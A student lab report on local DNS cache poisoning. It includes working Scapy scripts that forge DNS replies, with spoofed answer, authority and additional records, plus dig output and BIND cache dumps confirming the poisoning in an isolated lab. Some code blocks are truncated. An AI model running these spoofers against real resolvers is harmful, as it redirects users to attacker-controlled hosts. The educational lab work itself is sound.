Name: Yash Snehal Shetiya

SUID: 927656874

yshetiya@syr.edu

Testing DNS setup

Get the IP address of ns.attacker32.com:

We use the command dig to get the IP address for ns.attacker32.com as follows:

```
root@120fadb37906:/# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 52608
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 3f028bb2fc1b9f070100000064317cf44931b7e36c6a768b (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 23 msec
```

For www.example.com:

```
root@120fadb37906:/# dig example.com

; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 13347
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 9a1f724a2434be0a0100000064317d20f6da6aa2448333f6 (good)
;; QUESTION SECTION:
;example.com.                    IN      A

;; ANSWER SECTION:
example.com.            86400   IN      A       93.184.216.34

;; Query time: 859 msec
```

Query directly to ns.attacker32.com:

```
root@120fadb37906:/# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29793
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 957ebf874cdaa8ba0100000064317d3c446740232dc19a5d (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5
```

TASK 1:

seed@VM: ~/.../volumes

seed@VM: ~/.../L... | seed@VM: ~/.../v... | root@3cb2e0c20... | seed@VM: ~/.../v... | seed@VM: ~/.../v...

```python
from scapy.all import *

def spoof_dns(pkt):
  if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname.decode('utf-8')):
    pkt.show()

    # Swap the source and destination IP address
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    # Swap the source and destination port number
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                   ttl=259200, rdata='1.1.1.1')

    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                 qdcount=1, ancount=1, nscount=2, arcount=2,
                 an=Anssec)

    # Construct the entire IP packet and send it out
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.5 and dst port 53'
pkt = sniff(iface='br-615646252f8c', filter=f, prn=spoof_dns)
~
```

Before running the program we flush the cache for all tasks

```
root@120fadb37906:/# dig www.example.net
;; Warning: Message parser reports malformed message packet.

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 25176
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;www.example.net.               IN      A

;; ANSWER SECTION:
www.example.net.        259200  IN      A       1.1.1.1

;; Query time: 23 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Apr 08 14:27:02 UTC 2023
;; MSG SIZE  rcvd: 64
```

We can see that our attack is successful and the IP address has been changed to 1.1.1.1 in the reply.

TASK2:

For this task we add a delay to the network traffic using the commands given to us

```
seed@VM: ~/.../volumes
seed@VM: ~...  seed@VM: ~...  root@3cb2e...  seed@VM: ~...  seed@VM: ~...  seed@VM: ~...
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
  if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname.decode('utf-8')):
    pkt.show()

    # Swap the source and destination IP address
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    # Swap the source and destination port number
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                   ttl=259200, rdata='1.1.1.1')

    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                 qdcount=1, ancount=1, nscount=2, arcount=2,
                 an=Anssec)

    # Construct the entire IP packet and send it out
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.53 and dst port 53'
pkt = sniff(iface='br-615646252f8c', filter=f, prn=spoof_dns)
```

```
root@120fadb37906:/# dig www.example.net

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2789
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: bc860ed91fd914030100000064318ab4dc3a36160e9c5e74 (good)
;; QUESTION SECTION:
;www.example.net.               IN      A

;; ANSWER SECTION:
www.example.net.        259200  IN      A       1.1.1.1

;; Query time: 23 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Apr 08 15:39:32 UTC 2023
;; MSG SIZE  rcvd: 88
```

It can be seen that the attack is successful as we can see out spoofed packet in reply. It can be seen through the cache dump as follows:

```
root@3cb2e0c20952:/# cat /var/cache/bind/dump.db | grep example
example.net.            774360  NS      a.iana-servers.net.
www.example.net.        861503  A       1.1.1.1
```

It shows that our cache has successfully been poisoned.

TASK3:

This task deals with an attack that can affect the entire example.com domain, for this requirement we use the authority section as seen in the code:

```
pen  task3.py  ~/Downloads/LOCAL_DNS/Labsetup/volumes  Save
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
  if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
    pkt.show()

    # Swap the source and destination IP address
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    # Swap the source and destination port number
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                   ttl=259200, rdata='1.1.1.1')
    # AUTHORITY SECTION
    NSsec1 = DNSRR(rrname='example.com', type='NS',
                    ttl=259200, rdata='ns.attacker32.com')

    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                 qdcount=1, ancount=1, nscount=1, arcount=0,
                 an=Anssec, ns=NSsec1)
```

```
root@120fadb37906:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 27715
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 1eecef6edc6715050100000064319d9d27ed37fcae23ccc5 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.1.1.1

;; Query time: 27 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Apr 08 17:00:13 UTC 2023
;; MSG SIZE  rcvd: 88
```

```
root@3cb2e0c20952:/# rndc dumpdb -cache
root@3cb2e0c20952:/# cat /var/cache/bind/dump.db | grep example
example.com.            777455  NS      ns.attacker32.com.
www.example.com.        863924  A       1.1.1.1
```

It can be seen that we have spoofed the entire example.com domain. It is proved using the following examples:

```
root@120fadb37906:/# dig mail.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37430
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: f3c0367d6b782eed0100000064319ebd8312c83c4ebaf31c (good)
;; QUESTION SECTION:
;mail.example.com.              IN      A

;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.6

;; Query time: 27 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Apr 08 17:05:01 UTC 2023
;; MSG SIZE  rcvd: 89
```

```
root@d3b0d1dda001:/etc/bind# cat zone_example.com
$TTL 3D
@       IN      SOA   ns.example.com. admin.example.com. (
                2008111001
                8H
                2H
                4W
                1D)

@       IN      NS    ns.attacker32.com.

@       IN      A     1.2.3.4
www     IN      A     1.2.3.5
ns      IN      A     10.9.0.153
*       IN      A     1.2.3.6
```

```
root@3cb2e0c20952:/# rndc dumpdb -cache
root@3cb2e0c20952:/# cat /var/cache/bind/dump.db | grep example
example.com.            776951  NS      ns.attacker32.com.
mail.example.com.       863708  A       1.2.3.6
www.example.com.        863420  A       1.1.1.1
```

TASK 4:

Prior to this we poisoned the cache of the local DNS server so that ns.attacker32.com becomes the nameserver for example.com. Now to expand its impact to another domain:

```
seed@VM: ~/.../volumes
seed@VM: ~/.../Labsetup        seed@VM: ~/.../volumes
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
  if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('
    pkt.show()

    # Swap the source and destination IP address
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    # Swap the source and destination port number
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                   ttl=259200, rdata='1.1.1.1')
    # AUTHORITY SECTION
    NSsec1 = DNSRR(rrname='example.com', type='NS',
                   ttl=259200, rdata='ns.attacker32.com')
    NSsec2 = DNSRR(rrname='google.com', type='NS',
                   ttl=259200, rdata='ns2.example.net')
```

```
seed@VM: ~/...  seed@VM: ~/...  seed@VM: ~/...  root@3cb2e...  seed@VM: ~/...  root
[04/09/23]seed@VM:~/.../volumes$ docksh 120
root@120fadb37906:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6170
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 3623e0140e18d1810100000064331209 4d2a3d0a22a8ba77 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.1.1.1

;; Query time: 3664 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun Apr 09 19:29:13 UTC 2023
;; MSG SIZE  rcvd: 88
```

```
seed@VM: ~/...   seed@VM: ~/...   seed@VM: ~/...   root@3cb2e...   seed@VM: ~/...   root@d3b0d...
[04/09/23]seed@VM:~/.../volumes$ docksh 3c
root@3cb2e0c20952:/# rndc flush
root@3cb2e0c20952:/# rndc dumpdb -cache
root@3cb2e0c20952:/# cat /var/cache/bind/dump.db | grep example
example.com.            777481  NS      ns.attacker32.com.
www.example.com.        863884  A       1.1.1.1
root@3cb2e0c20952:/# cat /var/cache/bind/dump.db | grep attacker
example.com.            777481  NS      ns.attacker32.com.
root@3cb2e0c20952:/# rndc flush
```

It can be seen that the attack is successful as we can see the spoofed information in our reply. However we could only see example.com's entry cached into the server and no entry for google.com. as we have the zone for example.com on our attacker's nameserver only and not for google.

TASK 5:

It can be seen that additional section data is not cached into the server but the authority section data has been cached.

```
seed@VM: ~/...   seed@VM: ~/...   seed@VM: ~/...   root@3cb2e...   seed@VM: ~/...   root@d3
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
  if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf
    pkt.show()

    # Swap the source and destination IP address
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    # Swap the source and destination port number
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                   ttl=259200, rdata='1.1.1.1')
    # AUTHORITY SECTION
    NSsec1 = DNSRR(rrname='example.com', type='NS',
                   ttl=259200, rdata='ns.attacker32.com')
    NSsec2 = DNSRR(rrname='example.com', type='NS',
                   ttl=259200, rdata='ns.example.com')

    # The Additional Section
    Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',
                    ttl=259200, rdata='1.2.3.4')
    Addsec2 = DNSRR(rrname='ns.example.net', type='A',
                    ttl=259200, rdata='5.6.7.8')
    Addsec3 = DNSRR(rrname='www.facebook.com', type='A',
                    ttl=259200, rdata='3.4.5.6')
```

```
root@120fadb37906:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16682
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: e45c6887cdd53a2a01000000643319df2b3ee5005ca45aa3 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.1.1.1

;; Query time: 939 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun Apr 09 20:02:39 UTC 2023
;; MSG SIZE  rcvd: 88
```

```
root@3cb2e0c20952:/#
root@3cb2e0c20952:/# rndc dumpdb -cache
root@3cb2e0c20952:/# cat /var/cache/bind/dump.db | grep example
example.com.            777365  NS      ns.example.com.
www.example.com.        863765  A       1.1.1.1
root@3cb2e0c20952:/# cat /var/cache/bind/dump.db | grep attacker
                        777365  NS      ns.attacker32.com.
root@3cb2e0c20952:/# cat /var/cache/bind/dump.db | grep facebook
root@3cb2e0c20952:/#
```